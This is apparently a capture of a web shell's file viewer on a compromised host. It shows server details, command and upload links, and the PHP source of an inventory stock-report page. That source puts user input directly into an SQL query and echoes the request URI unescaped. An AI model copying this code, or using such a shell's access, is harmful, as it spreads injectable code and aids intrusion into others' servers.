|
Server IP : 217.21.85.138 / Your IP : 216.73.216.103 Web Server : LiteSpeed System : Linux in-mum-web906.main-hosting.eu 4.18.0-553.37.1.lve.el8.x86_64 #1 SMP Mon Feb 10 22:45:17 UTC 2025 x86_64 User : u915722082 ( 915722082) PHP Version : 7.4.33 Disable Function : system, exec, shell_exec, passthru, mysql_list_dbs, ini_alter, dl, symlink, link, chgrp, leak, popen, apache_child_terminate, virtual, mb_send_mail MySQL : OFF | cURL : ON | WGET : ON | Perl : OFF | Python : OFF Directory (0755) : /home/u915722082/public_html/js/../at/sae1/src/../ |
| [ Home ] | [ C0mmand ] | [ Upload File ] |
|---|
<?php
session_start();
require_once"_config.php";
if(!isset($_SESSION["logs"])){
redirect("index.php");
}
if($_SESSION["roll"] != "ADMIN"){
redirect("category.php");
}
$date = date("Y-m-d");
if(isset($_POST["submit"])){
$date = date_db_format($_POST["date"]);
}
$data["records"]=resultSet($con,"select *,sum(dr)-sum(cr) as bal from `{$_SESSION["fyear"]}_tbl_transactions` t inner join tbl_products p on t.pid=p.pid inner join tbl_category c on p.cid=c.cid where tdate<='{$date}' group by t.pid,t.rate having bal<>0 order by pname,rate");
?>
<!DOCTYPE html>
<html lang="en">
<?php include "_header.php"; ?>
<body id="kt_app_body" data-kt-app-layout="dark-sidebar" data-kt-app-header-fixed="true" data-kt-app-sidebar-enabled="true" data-kt-app-sidebar-fixed="true" data-kt-app-sidebar-hoverable="true" data-kt-app-sidebar-push-header="true" data-kt-app-sidebar-push-toolbar="true" data-kt-app-sidebar-push-footer="true" data-kt-app-toolbar-enabled="true" class="app-default">
<script>var defaultThemeMode = "light"; var themeMode; if ( document.documentElement ) { if ( document.documentElement.hasAttribute("data-theme-mode")) { themeMode = document.documentElement.getAttribute("data-theme-mode"); } else { if ( localStorage.getItem("data-theme") !== null ) { themeMode = localStorage.getItem("data-theme"); } else { themeMode = defaultThemeMode; } } if (themeMode === "system") { themeMode = window.matchMedia("(prefers-color-scheme: dark)").matches ? "dark" : "light"; } document.documentElement.setAttribute("data-theme", themeMode); }</script>
<div class="d-flex flex-column flex-root app-root" id="kt_app_root">
<div class="app-page flex-column flex-column-fluid " id="kt_app_page">
<?php include"_navbar.php"; ?>
<div class="app-wrapper flex-column flex-row-fluid" id="kt_app_wrapper">
<?php include"_sidebar.php"; ?>
<div class="app-main flex-column flex-row-fluid" id="kt_app_main">
<div class="d-flex flex-column flex-column-fluid">
<!-- Tool bar -->
<div id="kt_app_toolbar" class="app-toolbar py-3 py-lg-6">
<div id="kt_app_toolbar_container" class="app-container container-xxl d-flex flex-stack">
<div class="page-title d-flex flex-column justify-content-center flex-wrap me-3">
<h1 class="page-heading d-flex text-dark fw-bold fs-3 flex-column justify-content-center my-0">Stock Report Product Wise</h1>
<ul class="breadcrumb breadcrumb-separatorless fw-semibold fs-7 my-0 pt-1">
<li class="breadcrumb-item text-muted">
<a href="#" class="text-muted text-hover-primary">Home</a>
</li>
<li class="breadcrumb-item">
<span class="bullet bg-gray-400 w-5px h-2px"></span>
</li>
<li class="breadcrumb-item text-muted"><a href='stock_report.php'>Stock Report Product Wise</a></li>
</ul>
</div>
</div>
</div>
<!-- Page Body -->
<div id="kt_app_content" class="app-content flex-column-fluid ">
<div id="kt_app_content_container" class="app-container container-xxl ">
<!-- form -->
<div class="card card-flush">
<div class="card-header align-items-center py-5 gap-2 gap-md-5" style='display:block!important;'>
<form id="frm" class="form" action="<?php echo $_SERVER["REQUEST_URI"]; ?>" method='post'>
<div class='row'>
<div class="d-flex flex-column mb-8 fv-row col-md-3">
<label class="d-flex align-items-center fs-6 fw-semibold mb-2 ">
<span class="required">Date</span>
<i class="fas fa-exclamation-circle ms-2 fs-7" data-bs-toggle="tooltip" title="Select From Date"></i>
</label>
<input type="text" class="form-control form-control-solid datepicker" placeholder="Select From Date" name="date" value="<?php echo date("d-m-Y",strtotime($date)); ?>" required />
</div>
<div class="col-md-2">
<button type="submit" id="btn-submit" class="btn btn-primary btn-submit" style='margin-top:30px;' name='submit'>
View Stock
</button>
</div>
</div>
</form>
</div>
</div>
<br><br>
<!-- form end -->
<div class="card card-flush">
<div class="card-header align-items-center py-5 gap-2 gap-md-5">
<div class="card-title">
<!--begin::Search-->
<div class="d-flex align-items-center position-relative my-1">
<!--begin::Svg Icon | path: icons/duotune/general/gen021.svg-->
<span class="svg-icon svg-icon-1 position-absolute ms-4">
<svg width="24" height="24" viewBox="0 0 24 24" fill="none" xmlns="http://www.w3.org/2000/svg">
<rect opacity="0.5" x="17.0365" y="15.1223" width="8.15546" height="2" rx="1" transform="rotate(45 17.0365 15.1223)" fill="currentColor" />
<path d="M11 19C6.55556 19 3 15.4444 3 11C3 6.55556 6.55556 3 11 3C15.4444 3 19 6.55556 19 11C19 15.4444 15.4444 19 11 19ZM11 5C7.53333 5 5 7.53333 5 11C5 14.4667 7.53333 17 11 17C14.4667 17 17 14.4667 17 11C17 7.53333 14.4667 5 11 5Z" fill="currentColor" />
</svg>
</span>
<!--end::Svg Icon-->
<input type="text" data-kt-ecommerce-order-filter="search" class="form-control form-control-solid w-250px ps-14" placeholder="Search Report" />
</div>
<!--end::Search-->
<!--begin::Export buttons-->
<div id="kt_ecommerce_report_sales_export" class="d-none"></div>
<!--end::Export buttons-->
</div>
<div class="card-toolbar flex-row-fluid justify-content-end gap-5">
<!--begin::Daterangepicker
<input class="form-control form-control-solid w-100 mw-250px" placeholder="Pick date range" id="kt_ecommerce_report_sales_daterangepicker" />-->
<!--end::Daterangepicker-->
<!--begin::Export dropdown-->
<button type="button" class="btn btn-light-primary" data-kt-menu-trigger="click" data-kt-menu-placement="bottom-end">
<!--begin::Svg Icon | path: icons/duotune/arrows/arr078.svg-->
<span class="svg-icon svg-icon-2">
<svg width="24" height="24" viewBox="0 0 24 24" fill="none" xmlns="http://www.w3.org/2000/svg">
<rect opacity="0.3" x="12.75" y="4.25" width="12" height="2" rx="1" transform="rotate(90 12.75 4.25)" fill="currentColor" />
<path d="M12.0573 6.11875L13.5203 7.87435C13.9121 8.34457 14.6232 8.37683 15.056 7.94401C15.4457 7.5543 15.4641 6.92836 15.0979 6.51643L12.4974 3.59084C12.0996 3.14332 11.4004 3.14332 11.0026 3.59084L8.40206 6.51643C8.0359 6.92836 8.0543 7.5543 8.44401 7.94401C8.87683 8.37683 9.58785 8.34458 9.9797 7.87435L11.4427 6.11875C11.6026 5.92684 11.8974 5.92684 12.0573 6.11875Z" fill="currentColor" />
<path opacity="0.3" d="M18.75 8.25H17.75C17.1977 8.25 16.75 8.69772 16.75 9.25C16.75 9.80228 17.1977 10.25 17.75 10.25C18.3023 10.25 18.75 10.6977 18.75 11.25V18.25C18.75 18.8023 18.3023 19.25 17.75 19.25H5.75C5.19772 19.25 4.75 18.8023 4.75 18.25V11.25C4.75 10.6977 5.19771 10.25 5.75 10.25C6.30229 10.25 6.75 9.80228 6.75 9.25C6.75 8.69772 6.30229 8.25 5.75 8.25H4.75C3.64543 8.25 2.75 9.14543 2.75 10.25V19.25C2.75 20.3546 3.64543 21.25 4.75 21.25H18.75C19.8546 21.25 20.75 20.3546 20.75 19.25V10.25C20.75 9.14543 19.8546 8.25 18.75 8.25Z" fill="currentColor" />
</svg>
</span>
<!--end::Svg Icon-->Export Report</button>
<!--begin::Menu-->
<div id="kt_ecommerce_report_sales_export_menu" class="menu menu-sub menu-sub-dropdown menu-column menu-rounded menu-gray-600 menu-state-bg-light-primary fw-semibold fs-7 w-200px py-4" data-kt-menu="true">
<!--begin::Menu item-->
<div class="menu-item px-3">
<a href="#" class="menu-link px-3" data-kt-ecommerce-export="copy">Copy to clipboard</a>
</div>
<!--end::Menu item-->
<!--begin::Menu item-->
<div class="menu-item px-3">
<a href="#" class="menu-link px-3" data-kt-ecommerce-export="excel">Export as Excel</a>
</div>
<!--end::Menu item-->
<!--begin::Menu item-->
<div class="menu-item px-3">
<a href="#" class="menu-link px-3" data-kt-ecommerce-export="csv">Export as CSV</a>
</div>
<!--end::Menu item-->
<!--begin::Menu item-->
<div class="menu-item px-3">
<a href="#" class="menu-link px-3" data-kt-ecommerce-export="pdf">Export as PDF</a>
</div>
<!--end::Menu item-->
</div>
<!--end::Menu-->
<!--end::Export dropdown-->
</div>
</div>
<div class="card-body pt-0">
<div id="kt_ecommerce_category_table_wrapper" class="dataTables_wrapper dt-bootstrap4 no-footer">
<div class="table-responsive">
<table class="table align-middle table-row-dashed fs-6 gy-5" id="kt_ecommerce_report_sales_table">
<thead>
<tr class="text-start text-gray-400 fw-bold fs-7 text-uppercase gs-0">
<th class="w-10px pe-2">SNo</th>
<th>Category</th>
<th>Product</th>
<th class="text-end ">QTY</th>
<th >Unit</th>
<th class="text-end ">Rate</th>
<th class="text-end ">Total</th>
</tr>
</thead>
<tbody class="fw-semibold text-gray-600" id='tbody'>
<?php $total=0; $i=0; foreach($data["records"] as $row): $i++; ?>
<?php if($data["ledger"][$row["pid"]]["qty"]!=0):?>
<tr>
<td><?php echo $i; ?></td>
<td><?php echo $row["cname"]; ?></td>
<td><a target='_blank' href='stock_history.php?date=<?php echo $date ;?>&pid=<?php echo $row["pid"]; ?>&rate=<?php echo $row["rate"]; ?>'><?php echo $row["pname"]; ?></a></td>
<td class='text-end'><?php echo $row["bal"]; ?></td>
<td><?php echo $row["uom"]; ?></td>
<td class='text-end'><?php echo $row["rate"]; ?></td>
<td class='text-end'><?php echo format($row["rate"]*$row["bal"]); ?></td>
</tr>
<?php endif; ?>
<?php $total+=($row["rate"]*$row["bal"]); endforeach; ?>
</tbody>
<tfoot>
<tr>
<td colspan='6' class='text-right'>Total</td>
<td class='text-end'><?php echo format($total);?></td>
</tr>
</tfoot>
</table>
</div>
</div>
</div>
</div>
</div>
</div>
<?php include "_footer_content.php"; ?>
</div>
</div>
</div>
</div>
<?php include "_footer.php";?>
<script>
$(document).ready(function(){
var KTAppEcommerceReportSales = function() {
var t, e;
return {
init: function() {
(t = document.querySelector("#kt_ecommerce_report_sales_table")) && (t.querySelectorAll("tbody tr").forEach((t => {
const e = t.querySelectorAll("td"),
r = moment(e[0].innerHTML, "MMM DD, YYYY").format();
e[0].setAttribute("data-order", r)
})), e = $(t).DataTable({
info: !1,
order: [],
pageLength: 10
}),(() => {
const e = "Sales Report";
new $.fn.dataTable.Buttons(t, {
buttons: [{
extend: "copyHtml5",
title: e
}, {
extend: "excelHtml5",
title: e
}, {
extend: "csvHtml5",
title: e
}, {
extend: "pdfHtml5",
title: e
}]
}).container().appendTo($("#kt_ecommerce_report_sales_export")), document.querySelectorAll("#kt_ecommerce_report_sales_export_menu [data-kt-ecommerce-export]").forEach((t => {
t.addEventListener("click", (t => {
t.preventDefault();
const e = t.target.getAttribute("data-kt-ecommerce-export");
document.querySelector(".dt-buttons .buttons-" + e).click()
}))
}))
})(), document.querySelector('[data-kt-ecommerce-order-filter="search"]').addEventListener("keyup", (function(t) {
e.search(t.target.value).draw()
})))
}
}
}();
KTUtil.onDOMContentLoaded((function() {
KTAppEcommerceReportSales.init()
}));
});
</script>
</body>
</html>